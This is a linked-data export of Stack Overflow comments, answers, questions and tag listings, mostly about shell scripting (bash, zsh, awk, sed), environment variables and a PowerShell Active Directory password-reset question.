comment on: http://stackoverflow.com/q/76699173
has text: Assuming your shell has ANSI C-like string support (like bash and zsh do), use `watch -n 0.25 --color $'unbuffer iostat -h && ls -lAh ./backup.tar.gz | awk \'{ print $5 }\''`
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/a/79500579
answers question: http://stackoverflow.com/q/76626472
has body: This Bash script is designed to download large files using HTTP Range requests. It splits the file into smaller chunks and downloads each part separately with curl. This approach makes downloading large files more reliable and allows the process to resume from the last successful chunk in case of connection failures. #!/bin/bash URL=$1 contentLength=$(curl -Ls -D - --range 0-0 $URL | grep "Content-Range: bytes" | cut -d / -f 2 | grep -oE '[0-9]+') chunkSize=100000000 offset=0 total=$((contentLength/chunkSize)) while $((offset*chunkSize)) -le $contentLength ; do echo "$offset / $total" > /dev/tty curl --progress-bar -r $((offset*chunkSize))-$(((offset+1)*chunkSize-1)) --retry 100 -o downloadChunk $URL > /dev/tty if $? -ne 0 ;then exit 1 fi cat downloadChunk ((offset+=1)) done
type: Answer
score: 0

for-loop
type: Tag
tags question: http://stackoverflow.com/q/76669795
tags question: http://stackoverflow.com/q/76588508
tag name: for-loop
tags question: http://stackoverflow.com/q/77010630
tags question: http://stackoverflow.com/q/77184696
tags question: http://stackoverflow.com/q/77239963
tags question: http://stackoverflow.com/q/77831104
tags question: http://stackoverflow.com/q/78030037
tags question: http://stackoverflow.com/q/79288143
tags question: http://stackoverflow.com/q/79327490
tags question: http://stackoverflow.com/q/79492218

http://stackoverflow.com/comment/135026741
score: 0
comment on: http://stackoverflow.com/q/76560288
has text: as i said in my question i need to capture the escape sequences from the output of the shell
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135265425
type: Comment
score: 0
type: AnswerComment
has text: asked new question https://stackoverflow.com/questions/76724460/skip-those-files-which-contains-space-in-filename-in-shell-script
comment on: http://stackoverflow.com/a/76698259

http://stackoverflow.com/comment/135022448
has text: [don't parse ls](https://mywiki.wooledge.org/ParsingLs)
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76579913

http://stackoverflow.com/comment/135015331
comment on: http://stackoverflow.com/q/76576781
has text: Try using xargs and tail's `-f`: `tail -f -n1 /var/log/messages | grep --line-buffered suppress | xargs -rd'\n' -n1 sh -c 'printf "%s\n" "$@" | mail-s suppress testt@hotmail.com; sleep 5m' --`
type: QuestionComment
score: 0
type: Comment

http://stackoverflow.com/comment/135095743
score: 0
type: Comment
comment on: http://stackoverflow.com/q/76622495
has text: I was not able to reproduce: you have to use `export` for `source ~/.zshrc` to set them in your current shell, but either way Rust's `std::env::vars()` was always consistent with `env`.
type: QuestionComment

http://stackoverflow.com/comment/135059053
comment on: http://stackoverflow.com/q/76602195
type: Comment
has text: What is `@git`? Looks like a typo for me.
score: 0
type: QuestionComment

http://stackoverflow.com/a/76575874
score: 0
answers question: http://stackoverflow.com/q/76575777
accepted answer of: http://stackoverflow.com/q/76575777
has comment: http://stackoverflow.com/comment/135015828
has body: I think the reason is a 'bad' behavior of bash (since git 2.5) where the '$' of the TFVC path is expanded to a value and so the path is corrupted and git-tfs don't know what to clone. The workaround is to use MSYS_NO_PATHCONV=1 just before the "git-tfs" command run like defined here: https://github.com/git-tfs/git-tfs/issues/845#issuecomment-135395001
type: Answer
type: AcceptedAnswer

http://stackoverflow.com/comment/135060894
score: 0
type: QuestionComment
type: Comment
has text: @elix so does the file `/home/user/Documents/ShareX/Screenshots/2023/image_20230703_12201688367021.jpg` exist?
comment on: http://stackoverflow.com/q/76602223

http://stackoverflow.com/comment/135119184
type: Comment
type: AnswerComment
has text: @SoulDenied, first, _which shell are you using?_ -- if it's happening during bash startup you'd use `PS4=':$BASH_SOURCE:$LINENO+' bash -x -l -i` to get a log of shell startup telling you what's being run that you can trawl through for alias commands; if it's zsh that you're sourcing the function with, then you'd need to find a zsh equivalent to that command (which I'm not the right person to help with -- and also, why are you tagging a question "bash" about a script when you actually source that script with zsh?)
score: 0
comment on: http://stackoverflow.com/a/76638142

http://stackoverflow.com/comment/135066851
comment on: http://stackoverflow.com/q/76602223
type: Comment
score: 0
has text: @user1934428 `DATE_NOW` just creates a date in the specified format, as shown in the original code. No, it doesn't contain any whitespace or even special characters (just one underscore).
type: QuestionComment

http://stackoverflow.com/comment/135119258
score: 0
type: Comment
comment on: http://stackoverflow.com/q/76638009
has text: @SoulDenied, also, note that just deleting the alias definition from the file and re-source'ing the file doesn't delete the alias -- it's still there in any interpreter that sourced the file back when the file _did_ contain a conflicting alias definition.
type: QuestionComment

project
tags question: http://stackoverflow.com/q/76566011
type: Tag
tag name: project

http://stackoverflow.com/comment/135036649
type: QuestionComment
has text: This question is not clear. If you showed an example of what you really want to do we could help more. For example, it's useless to just set a variable: clearly you want to USE that variable somewhere. The only way we can tell you the right way to set the variable is if we know how you want to use it / what you want to use it for. Do you want to define this variable for use in that same rule? Some other rule? Etc.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/76587890

http://stackoverflow.com/comment/135082708
type: QuestionComment
comment on: http://stackoverflow.com/q/76616176
type: Comment
score: 0
has text: @Shawn pbs is a tool to submit jobs (bash scripts) to a compute cluster. The documentation specifies that indeed `-v` expects a comma-separated list although it is not defined how variables should be escaped. https://www.jlab.org/hpc/PBS/qsub.html

http://stackoverflow.com/comment/135152418
comment on: http://stackoverflow.com/q/76656090
type: QuestionComment
type: Comment
has text: Instead of all the explicit `COPY` commands, you can `COPY ./` and use `.dockerignore` to exclude what you don't want from the project dir in the container.
score: 0

http://stackoverflow.com/comment/135059865
has text: Your `echo` experiment is inconclusive; you had to omit the quotes at beginning and end.
comment on: http://stackoverflow.com/q/76602223
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/135095923
score: 0
comment on: http://stackoverflow.com/q/76622495
type: QuestionComment
type: Comment
has text: (Also, which operating system are you on? How environment variables are set in interactive sessions is different between them; for that matter, it's different between traditional UNIX systems -- which typically had the GUI started by a login shell -- and more modern ones, which often don't).

http://stackoverflow.com/comment/135128575
type: QuestionComment
type: Comment
has text: (and as others have said -- you can't just source the file here; that'll apply _new_ changes but it won't undo incorrect _older_ changes, so you need to start a new terminal window, or a new tab in an existing terminal, between tests)
comment on: http://stackoverflow.com/q/76643341
score: 0

javascript
type: Tag
tag name: javascript
tags question: http://stackoverflow.com/q/76679712
tags question: http://stackoverflow.com/q/76778171
tags question: http://stackoverflow.com/q/76917878
tags question: http://stackoverflow.com/q/77201768
tags question: http://stackoverflow.com/q/77275139
tags question: http://stackoverflow.com/q/77423477
tags question: http://stackoverflow.com/q/77879731
tags question: http://stackoverflow.com/q/78276232
tags question: http://stackoverflow.com/q/78303637
tags question: http://stackoverflow.com/q/79057828

http://stackoverflow.com/comment/135059479
comment on: http://stackoverflow.com/q/76602471
type: QuestionComment
has text: Which shell? bash/zsh/fish or ash?
type: Comment
score: 0

http://stackoverflow.com/comment/134960908
type: Comment
comment on: http://stackoverflow.com/q/76544889
score: 1
has text: Use multiple `grep` commands piped together. Use the `-v` option for a not match.
type: QuestionComment

http://stackoverflow.com/comment/135228291
comment on: http://stackoverflow.com/q/76702391
type: QuestionComment
type: Comment
score: 1
has text: You can transport variables to the child process via the environment. To transport information from the child back to the parent, the child could create a file containing the content of the variable, and the parent process could read this file and create the variable based on its content.

http://stackoverflow.com/comment/135111371
type: Comment
has text: The syntax is `php scriptname.php arguments`. It's not clear what `artisan` and `tinker` are for.
type: QuestionComment
comment on: http://stackoverflow.com/q/76633273
score: 1

http://stackoverflow.com/comment/135092957
type: QuestionComment
has text: The task is to measure the performance of the application. Application will need to run multiple times with multiple instances on localhost. the log files that will get generated will need to be investigated further for analysis.
type: Comment
comment on: http://stackoverflow.com/q/76621052
score: 0

http://stackoverflow.com/q/76550372
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/134972665
has comment: http://stackoverflow.com/comment/134971507
tagged with: zsh
has comment: http://stackoverflow.com/comment/134974866
score: 0
type: Question
accepted answer: http://stackoverflow.com/a/76551406
tagged with: shell
has title: Argument concatenation in zsh excludes certain letters
answer count: 1
has body: I'm using zsh on Arch Linux. I have enabled setopt extendedglob & setopt sh_word_split. I have the following script: #!/bin/sh old_IFS="$IFS" IFS='|' files_to_exclude="$*" IFS=old_IFS cmd="rm -f -- ./^(" cmd+=$files_to_exclude cmd+=")" echo $cmd When the arguments given to this script contain any of: d, l, o, F, I or S, they are not printed to the console. Why is that and how can I force zsh to print them? Here's what I tested against: ./script_name a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 1 2 3 4 5 6 7 8 9 0
has answer: http://stackoverflow.com/a/76551406
has comment: http://stackoverflow.com/comment/134982688
tagged with: string-concatenation

http://stackoverflow.com/comment/135140240
comment on: http://stackoverflow.com/q/76650742
type: Comment
score: 1
type: QuestionComment
has text: `./telegram-send.sh "$(awk.sh)"` -- remove the `| xargs -l ./telegram-send.sh` from the end of `awk.sh`. Double-check if `curl` requires DOS line ending ... if it does make that ``./telegram-send.sh "$(awk.sh | unix2dos)"``

http://stackoverflow.com/comment/134978874
type: Comment
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/76552229
has text: I updated my answer. I think you're confused about which file is being processed in the first `NR==FNR` block vs the second block and what values `FNR` has in each. You might want to add a tracing line like `{ print FILENAME, NR, FNR, $0 | "cat>&2" }` as the first line of the script (above the `NR==FNR` line) so you can see what it's doing.

http://stackoverflow.com/a/76679159
type: Answer
has body: Using sed $ sed -En '\~^/news/~s~^~https://www.url.com~p' &lt;(curl -s https://www.url.com/) https://www.url.com/news/category/title-new-bla-bla https://www.url.com/news/category2/title-new-bla-bla2 https://www.url.com/news/category3/title-new-bla-bla3 https://www.url.com/news/category4/title-new-bla-bla4
answers question: http://stackoverflow.com/q/76679026
score: 2
upvote count: 2
downvote count: 0

http://stackoverflow.com/a/76575733
downvote count: 0
has comment: http://stackoverflow.com/comment/135023100
has body: As mentioned by @Barmar (and explained by his link to Exporting an array in bash script) this is not a deficiency in Ruby. Rather, it is a restriction in bash. POSIX-compliant envariables must be strings. The additional array and associative-array constructs (and presumably the numeric semantics as well) are bags-on-the-side specific to bash, and cannot be exported directly. There are numerous ways of attempting to retain the structure attributes through serialisation (see the link), but the basic answer appears to be: "If you want to do this, you're going to have to do it yourself. There's no built-in way of doing it."
score: 1
type: Answer
has comment: http://stackoverflow.com/comment/135023317
answers question: http://stackoverflow.com/q/76575510
upvote count: 1

http://stackoverflow.com/comment/135169185
type: Comment
has text: Put the variable `$specie_name` outside the single-quotes, like this: `' single-quoted part'"$specie_name"'second single quoted part'`, or don't use single quotes in the first place. You could escape the `$3` using a backslash; no single quotes needed.
comment on: http://stackoverflow.com/q/76663322
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135151844
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/76656022
has text: Ignoring special characters _after the script is started_ is easy. Ignoring special characters _in a command line being passed to ssh_ is a separate matter (and we already have answered Q&A entries describing how to do it). Please narrow this to _one_ specific, clear question -- we shouldn't need to guess which aspect of the general problem you're stuck on.
type: Comment

http://stackoverflow.com/a/76552229
has comment: http://stackoverflow.com/comment/134978492
type: AcceptedAnswer
upvote count: 1
has comment: http://stackoverflow.com/comment/134992161
has comment: http://stackoverflow.com/comment/134988663
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/76549073
type: Answer
has comment: http://stackoverflow.com/comment/134974153
has body: In any POSIX awk, change: line[$3]=a[FNR] to: match(line,/^[[:space:]]*([^[:space:]]+[[:space:]]+){2}/) tail = substr(line,RSTART+RLENGTH) sub(/[^[:space:]]+/,&quot;&quot;,tail) line = substr(line,RSTART,RLENGTH) a[FNR] tail and similarly for line[$4]=a[FNR], just change {2} to {3} in the above match(). As already mentioned in the comments, your error message was because line is a scalar (containing a string in this case) and you were trying to treat it as an array. If you want to treat line as if it were an array then you have to run split() on it first to create a new array from it's contents, then assign a value in the new array, then recombine the array back into a string to store in line. For example, if you don't care about retaining white space (can be solved with GNU awks 4th arg to split()) you could replace the 3rd field in line by: numFlds = split(line,flds) flds[3] = a[FNR] line = flds[1] for ( fldNr=2; fldNr&lt;=numFlds; fldNr++ ) { line = line &quot; &quot; flds[fldNr] } I'm using literal string replacements above instead of a *sub() so it'll work even if a[FNR] contains a backreference metachar, &amp;. Also, when trying to modify my previous answer to solve your current problem you had introduced a logic error when you changed NR==FNR {...; next } { ...sub(/NUMBER/,$2,line) } to: NR==FNR { a[FNR=$2; next } { ...line[$3]=a[FNR]... } instead of: NR==FNR {...; next } { ...line[$3]=$2... } What you did is completely different logic replacing part of line with a string from main instead of a string from ref. Here's the complete script for your current problem after fleshing out the common code a bit and moving it to a function: $ cat tst.awk NR == FNR { lines[++numLines] = $0 if ( /\047MATCH LINE\047/ ) { tgt1 = NR + 2 } if ( /write output/ ) { tgt2 = NR } next } { for ( lineNr=1; lineNr&lt;=numLines; lineNr++ ) { line = lines[lineNr] if ( lineNr == tgt1 ) { line = rplc(line,3,$2) } if ( lineNr == tgt2 ) { line = rplc(line,4,$2) } print line &gt; $1 } clos…
has comment: http://stackoverflow.com/comment/134988345
accepted answer of: http://stackoverflow.com/q/76549073
has comment: http://stackoverflow.com/comment/134978874

android
tags question: http://stackoverflow.com/q/76594215
type: Tag
tag name: android
tags question: http://stackoverflow.com/q/76631662
tags question: http://stackoverflow.com/q/76755757
tags question: http://stackoverflow.com/q/76930863
tags question: http://stackoverflow.com/q/77124679
tags question: http://stackoverflow.com/q/77319116
tags question: http://stackoverflow.com/q/77272257
tags question: http://stackoverflow.com/q/77567681
tags question: http://stackoverflow.com/q/77555183
tags question: http://stackoverflow.com/q/77464976
tags question: http://stackoverflow.com/q/77456050
tags question: http://stackoverflow.com/q/77524261
tags question: http://stackoverflow.com/q/77702307
tags question: http://stackoverflow.com/q/77841168
tags question: http://stackoverflow.com/q/78098598
tags question: http://stackoverflow.com/q/78071285
tags question: http://stackoverflow.com/q/78444044
tags question: http://stackoverflow.com/q/78682528
tags question: http://stackoverflow.com/q/78736881
tags question: http://stackoverflow.com/q/78804027
tags question: http://stackoverflow.com/q/78748228
tags question: http://stackoverflow.com/q/78789477
tags question: http://stackoverflow.com/q/79033853
tags question: http://stackoverflow.com/q/78955873
tags question: http://stackoverflow.com/q/78963991
tags question: http://stackoverflow.com/q/79065440
tags question: http://stackoverflow.com/q/79229895
tags question: http://stackoverflow.com/q/79069445

http://stackoverflow.com/comment/135227498
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76685165
type: Comment
has text: Please post your configuration files as text into the question. `user has no su permission` The error is `executable file not found`, not "permission denied" or similar. You are running gitlab-runner _as root_ and then specifying gitlab to change the user. It is unclear to me are you asking for. Either way, consider using docker.

arrays
type: Tag
tags question: http://stackoverflow.com/q/76590128
tag name: arrays
tags question: http://stackoverflow.com/q/76687885
tags question: http://stackoverflow.com/q/76674976
tags question: http://stackoverflow.com/q/76772024
tags question: http://stackoverflow.com/q/76785108
tags question: http://stackoverflow.com/q/76916410
tags question: http://stackoverflow.com/q/77024360
tags question: http://stackoverflow.com/q/76944879
tags question: http://stackoverflow.com/q/77235620
tags question: http://stackoverflow.com/q/77185980
tags question: http://stackoverflow.com/q/77270527
tags question: http://stackoverflow.com/q/77275056
tags question: http://stackoverflow.com/q/77788266
tags question: http://stackoverflow.com/q/77879731
tags question: http://stackoverflow.com/q/78074380
tags question: http://stackoverflow.com/q/78180419
tags question: http://stackoverflow.com/q/78241899
tags question: http://stackoverflow.com/q/78319248
tags question: http://stackoverflow.com/q/78829031
tags question: http://stackoverflow.com/q/79043350
tags question: http://stackoverflow.com/q/79151092
tags question: http://stackoverflow.com/q/79088550
tags question: http://stackoverflow.com/q/79320464
tags question: http://stackoverflow.com/q/79415857
tags question: http://stackoverflow.com/q/79465414

http://stackoverflow.com/a/76674977
upvote count: 0
score: -3
answers question: http://stackoverflow.com/q/76674976
has comment: http://stackoverflow.com/comment/135182196
has body: Solved, change the for.... for i in ${!data[@]}; do dataindex=$i done
type: Answer
has comment: http://stackoverflow.com/comment/135218031
downvote count: 3

scp
tag name: scp
type: Tag
tags question: http://stackoverflow.com/q/76577218
tags question: http://stackoverflow.com/q/76803412
tags question: http://stackoverflow.com/q/77359082
tags question: http://stackoverflow.com/q/78275890
tags question: http://stackoverflow.com/q/78572096
tags question: http://stackoverflow.com/q/79031905

http://stackoverflow.com/comment/135058003
type: QuestionComment
has text: you can try my [sexpect (Expect for Shells)](https://github.com/clarkwang/sexpect) if you are more familiar with shell syntax.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76592908

http://stackoverflow.com/comment/135119065
score: 0
comment on: http://stackoverflow.com/q/76638009
type: QuestionComment
type: Comment
has text: @Barmar that solution does not help me that's why I posted. I have several other scripts as well with the same syntax but only this file is throwing an error.

http://stackoverflow.com/q/76588578
tagged with: shell
has comment: http://stackoverflow.com/comment/135035497
has comment: http://stackoverflow.com/comment/135035521
has comment: http://stackoverflow.com/comment/135035473
score: 0
type: Question
has title: How to Enable Change Password at Next Logon for AD Users when Resetting password from Powershell
answer count: 0
type: UnansweredQuestion
tagged with: powershell
has comment: http://stackoverflow.com/comment/135035608
has comment: http://stackoverflow.com/comment/135036165
has body: param( [Parameter(Mandatory=$true)] [string]$Identity, [Parameter(Mandatory=$true)] [string]$NewPassword ) $adminUsername = 'username' $adminPassword = 'Password' $credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $adminUsername, ($adminPassword | ConvertTo-SecureString -AsPlainText -Force) # Set the new password for the user account Set-ADAccountPassword -Identity $Identity -Reset -NewPassword (ConvertTo-SecureString -AsPlainText $NewPassword -Force) -Credential $credential # Enable the "User must change password at next logon" option for the user Set-ADUser -Identity $Identity -ChangePasswordAtLogon $true # Create a custom object with the updated values $outputObject = [pscustomobject]@{ Identity = $Identity NewPassword = $NewPassword } # Convert the object to JSON and output it $outputObject | ConvertTo-Json -Depth 1 this is my powershell, it is resetting the password but when i login with the new password it doesn't ask me to change the password

http://stackoverflow.com/a/76656055
score: 1
has body: There are two issues here: The script itself You’re running the script on windows 1. The script itself The first line should read: #!/bin/bash This indicates that this is using bash. Another posible shell is #!/bin/sh 2.You’re using Windows The bigger issue here is that you’re working with windows. Bash scripts are designed to work with Unix/Linux operating systems. The .sh or Shell Scripts file is a type of script file that runs in the Linux operating system. It's analogous to Windows batch files, which are used to run tasks on a computer. Running .sh files in Windows can be done with the help of several programs like Cygwin or the Windows Subsystem for Linux (WSL). For full instructions see here: https://softwarekeep.com/help-center/how-to-run-shell-script-file-in-windows#
downvote count: 0
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/76655946

http://stackoverflow.com/comment/135204146
score: 0
has text: @RonyShaji then we overcome the route binary, now you need adjust the command "route print", in old linux version, this command get a route table.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76687621

http://stackoverflow.com/comment/135035473
type: QuestionComment
has text: ChangePasswordAtLogon is a switch, so try `-ChangePasswordAtLogon:$true`
type: Comment
comment on: http://stackoverflow.com/q/76588578
score: 0

bamboo
tags question: http://stackoverflow.com/q/76606220
type: Tag
tag name: bamboo

http://stackoverflow.com/comment/135154844
comment on: http://stackoverflow.com/q/76656022
type: Comment
score: 0
has text: What shell is `var string=xyz`? I've never seen the `var` keyword and it does not work in bash. `#` starts a comment and everything after is ignored. `set -x` might help you in debugging the script, it will print each command and its arguments as it is being executed
type: QuestionComment

http://stackoverflow.com/comment/135171184
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76664368
has text: @hakre I am sure start.php does not trigger the "s_supervisor.php" because I have error.log file, and according to "s_supervisor.php" the contents of "output" directory most be cleaned but they are not!!! in an other hand when I run " localhost/s_supervisor.php " the "output" directory be cleaned (actuall what I want).
score: 0

http://stackoverflow.com/comment/135138003
comment on: http://stackoverflow.com/q/76649342
type: QuestionComment
has text: Thanks @kjhughes I'm executing it like... `sdcard_mount_p1=`echo $attach_result | xpath "//dict/array/dict[string='Linux']/key[.='mount-point']/following-sibling::string[1]/text()" 2>/dev/null``
type: Comment
score: 0

http://stackoverflow.com/a/76650910
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/135140610
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/76650830
downvote count: 0
has body: If you want to replace the value for !Methane with the value held by the variable $muCH4_1, then: sed -Ei 's/^\S+\s+(!Methane)$/'"$muCH4_1"' \1/' "$file" ^ - Start of line anchor \S+ - One or more non-whitespace characters \s+ - One or more whitespace characters (!Methane) - Capture !Methane into capture group 1 $ - End of line anchor Substitute with '"$muCH4_1"' - The value held by the variable muCH4_1 - A literal space \1 - !Methane from capture group 1 Note: For the second column to line up just like in the original file, muCH4_1 must be padded with spaces to the right. If that's what you want, you can use printf to do the padding: sed -Ei 's/^\S+\s+(!Methane)$/'"$(printf "%-18s" "$muCH4_1")"' \1/' "$file"
type: Answer
accepted answer of: http://stackoverflow.com/q/76650830
has comment: http://stackoverflow.com/comment/135140559

http://stackoverflow.com/comment/134973972
type: QuestionComment
type: Comment
score: 0
has text: Are you sure bitbucket uses `bash` to execute commands? I'd expect it to use `sh`, unless it provides a way for you to customize this.
comment on: http://stackoverflow.com/q/76552603

http://stackoverflow.com/comment/135135495
score: 0
comment on: http://stackoverflow.com/a/76648115
type: Comment
has text: Yes, exactly what I wanted. Can you also add an explanation why this works?
type: AnswerComment

http://stackoverflow.com/q/76666744
score: 0
tagged with: shell
has body: The simplest script: #!/bin/bash echo Hello! If I run it by IntelliJ IDEA + Windows: It does not print anything: PS D:\IntelliJ IDEA\XXX\Components\StylesApplying> "D:/IntelliJIDEA/XXX/Components/StylesApplying/ test.bash" D:/IntelliJ IDEA/XXX/Components/StylesApplying/test.bash Of course I need the solution, but first please explain me WHY it does not work as expected. By the way, adding the double quotes to "Hello!" does not change anything. Also, I have tried other scripts with same zero result.
answer count: 1
has answer: http://stackoverflow.com/a/76667982
type: AnsweredQuestion
tagged with: window
tagged with: intellij-idea
has comment: http://stackoverflow.com/comment/135169113
tagged with: bash
type: Question
has comment: http://stackoverflow.com/comment/135169403
has comment: http://stackoverflow.com/comment/135198359
has title: Bash script in the file do nothing when executed in IntelliJ IDEA + Windows
accepted answer: http://stackoverflow.com/a/76667982

http://stackoverflow.com/comment/135127697
comment on: http://stackoverflow.com/q/76643341
type: QuestionComment
score: 2
type: Comment
has text: If when "adding" a new PATH entry you failed to preserve the old ones, that explains this problem. You need to show us the code you used if you want anyone to be able to say what's wrong with it.

http://stackoverflow.com/comment/135089794
type: QuestionComment
comment on: http://stackoverflow.com/q/76620625
score: 2
type: Comment
has text: `find . -atime -1` outputs a `.` which runs `ls -lt .` which prints all files in current directory.

http://stackoverflow.com/tag/json
tags question: http://stackoverflow.com/q/76593228
tag name: json
tags question: http://stackoverflow.com/q/76570156
tags question: http://stackoverflow.com/q/76656017
type: Tag
tags question: http://stackoverflow.com/q/76842785
tags question: http://stackoverflow.com/q/76993197
tags question: http://stackoverflow.com/q/77012572
tags question: http://stackoverflow.com/q/77224625
tags question: http://stackoverflow.com/q/77093338
tags question: http://stackoverflow.com/q/77170372
tags question: http://stackoverflow.com/q/77155640
tags question: http://stackoverflow.com/q/77171901
tags question: http://stackoverflow.com/q/77095262
tags question: http://stackoverflow.com/q/77342021
tags question: http://stackoverflow.com/q/77255519
tags question: http://stackoverflow.com/q/77536544
tags question: http://stackoverflow.com/q/77504229
tags question: http://stackoverflow.com/q/77489086
tags question: http://stackoverflow.com/q/77638243
tags question: http://stackoverflow.com/q/77908875
tags question: http://stackoverflow.com/q/77962094
tags question: http://stackoverflow.com/q/78021543
tags question: http://stackoverflow.com/q/78171409
tags question: http://stackoverflow.com/q/78561876
tags question: http://stackoverflow.com/q/78618296
tags question: http://stackoverflow.com/q/78699454
tags question: http://stackoverflow.com/q/78873556
tags question: http://stackoverflow.com/q/78943206
tags question: http://stackoverflow.com/q/78977238
tags question: http://stackoverflow.com/q/78995692
tags question: http://stackoverflow.com/q/79257584
tags question: http://stackoverflow.com/q/79335784
tags question: http://stackoverflow.com/q/79400681
tags question: http://stackoverflow.com/q/79517540

http://stackoverflow.com/a/76679295
answers question: http://stackoverflow.com/q/76678549
has body: The following should work with any POSIX awk (tested with GNU awk and the BSD awk that comes with macOS): $ awk -v RS='' -v h='Installed Products:' ' {gsub(/^[[:space:]]*|[[:space:]]*(\n.*)?$/,"")} NR%3==2 {p=$0} NR%3==0 {printf("%-25s%-35s%s\n", h, p, $0); h=""}' file Installed Products: Desktop Applications Module Registered Server Applications Module Registered Basesystem Module Registered Legacy Module Not Registered Adapt the output field widths (25, 35) to your actual data. Explanations: with RS set to the null string the record separator is one or more blank lines. All records are preprocessed (gsub(/^[[:space:]]*|[[:space:]]*(\n.*)?$/,"")) to keep only the first line with leading and trailing spaces removed. For records 2, 5, 8... (the application name) we store the record in variable p. For records 3, 6, 9... (the registration status) we print the output for the current application: the header stored in variable h, left-aligned on 25 characters, the application name stored in variable p, left-aligned on 35 characters, the registration status, that is, the current record ($0). After the first printf we clear the header (h=""). If you prefer to automatically compute the output field widths we must wait until the end of the input before we can print because we need to know the longest application name: $ awk -v RS='' -v h='Installed Products:' ' {gsub(/^[[:space:]]*|[[:space:]]*(\n.*)?$/,"")} NR%3==2 {p[++n]=$0; mp=length>mp?length:mp} NR%3==0 {q[n]=$0} END {mh=length(h) for(i=1;i<=n;i++) printf("%-*s%-*s%s\n", mh+1, i==1?h:"", mp+1, p[i], q[i])}' file Installed Products: Desktop Applications Module Registered Server Applications Module Registered Basesystem Module Registered Legacy Module Not Registered Note: as other answers suggest we could also use the column utility for the final formatting but we would then need to chose a field separator for the input of column that cannot be found in your primary input. Unless you know such a separator and are 100% sur…
downvote count: 0
score: 1
upvote count: 1
type: Answer

http://stackoverflow.com/comment/135039280
has text: While you're editing -- see [Why should I not upload images of code/data/errors?](https://meta.stackoverflow.com/questions/285551/why-should-i-not-upload-images-of-code-data-errors); if we can't copy-and-paste your sample data as text, we can't check our answers.
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/76590436
type: Comment

http://stackoverflow.com/comment/135093477
comment on: http://stackoverflow.com/q/76621621
has text: A text file that doesn't end in a newline causes problems, yeah. Better to fix whatever is generating it, but https://mywiki.wooledge.org/BashFAQ/001 has some work arounds.
type: QuestionComment
score: 0
type: Comment

http://stackoverflow.com/comment/135013102
comment on: http://stackoverflow.com/q/76575510
type: QuestionComment
type: Comment
has text: Do you mean 'Environment variables in Ruby can only be strings. Shell array environment variables are not strings'? Because shell array variables are quite clearly environment variables from the POV of the shell and their access semantics. And Ruby's `ENV` says that an envariable value needs to respond to `#to_str` (IIRC).. Just trying to clarify.
score: 0

http://stackoverflow.com/comment/135096628
comment on: http://stackoverflow.com/q/76624545
type: QuestionComment
score: 2
type: Comment
has text: `source myEnvFile` ? You can do this on the cmd-line OR include it in a script just before you need your envVars, OR more commonly at/near the top of your script. With a script you may need to make the location/path of the file an envVar (as well) OR just hard-code it , i.e. `source /path/to/myEnvFile`. Good luck.

http://stackoverflow.com/comment/135035608
score: 0
type: QuestionComment
has text: @MikeSh Yes, that seems to be an error in the description. Just try it as I commented; for me that works. Also, make sure the `PasswordNotRequired` is set to false on that user: `Set-ADUser -Identity $Identity -PasswordNotRequired:$false -ChangePasswordAtLogon:$true` (and yes, the PasswordNotRequired is also a switch and not a Boolean as in the description..). You may even need to add `-CannotChangePassword:$false`
type: Comment
comment on: http://stackoverflow.com/q/76588578

http://stackoverflow.com/comment/135105988
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76624018
has text: Can you please share the contents of `/tmp/exportLCM_applications.txt`? If it is not "hardcodedapp" (or whatever you are executing manually) then you are comparing apples to oranges and all bets are off. I recommend adding an `echo $application` at the top of the `else` clause to verify that it is what you are expecting. The error appears to be coming from Oracle and is not a shell error.

http://stackoverflow.com/a/76607368
score: 0
has body: @Philippe Your suggestion of adding another err log ... &gt;&gt; /tmp/test.txt 2&gt; /tmp/test.err helped me resolve the issue. There was a conflict with local changes and git pull. So I had to stash, pull then re-apply the stash.
answers question: http://stackoverflow.com/q/76602700
accepted answer of: http://stackoverflow.com/q/76602700
type: Answer
type: AcceptedAnswer

http://stackoverflow.com/comment/135096658
has text: Per your topic message "read file, pass contents to env var", I had assumed you meant you needed `envVar=$(< /path/to/file_With_value_only_Contents)` . In your case where `/path/to/file...` has just the value `False`, you would do `EnableRedshiftImport=$(< /path/to/file...)`. Good luck.
comment on: http://stackoverflow.com/q/76624545
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/comment/135095946
score: 0
has text: There are other approaches as well; you can set environment variables direct in VS Code, or you can set them through launchd configuration.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76622495

http://stackoverflow.com/a/76635833
has body: You could, perhaps should, use a try catch block instead. node { stage('example'){ try { // npm install echo 'npm build succeeded' } catch (exc) { echo 'npm build failed with compilation error' throw exc } } stage('Next'){ /* Will run if npm install works. Won't run if it fails as because of "throw exc" */ echo "This was next" } } Relevant documentation
score: 0
has comment: http://stackoverflow.com/comment/135117201
answers question: http://stackoverflow.com/q/76634264
has comment: http://stackoverflow.com/comment/135123315
type: Answer

http://stackoverflow.com/q/76645511
has title: adding new features to gtf file from tab separated file using shell script
has comment: http://stackoverflow.com/comment/135149402
tagged with: bash
has comment: http://stackoverflow.com/comment/135151380
has comment: http://stackoverflow.com/comment/135147917
has comment: http://stackoverflow.com/comment/135147984
score: 0
type: Question
has comment: http://stackoverflow.com/comment/135146185
has comment: http://stackoverflow.com/comment/135148259
tagged with: shell
answer count: 0
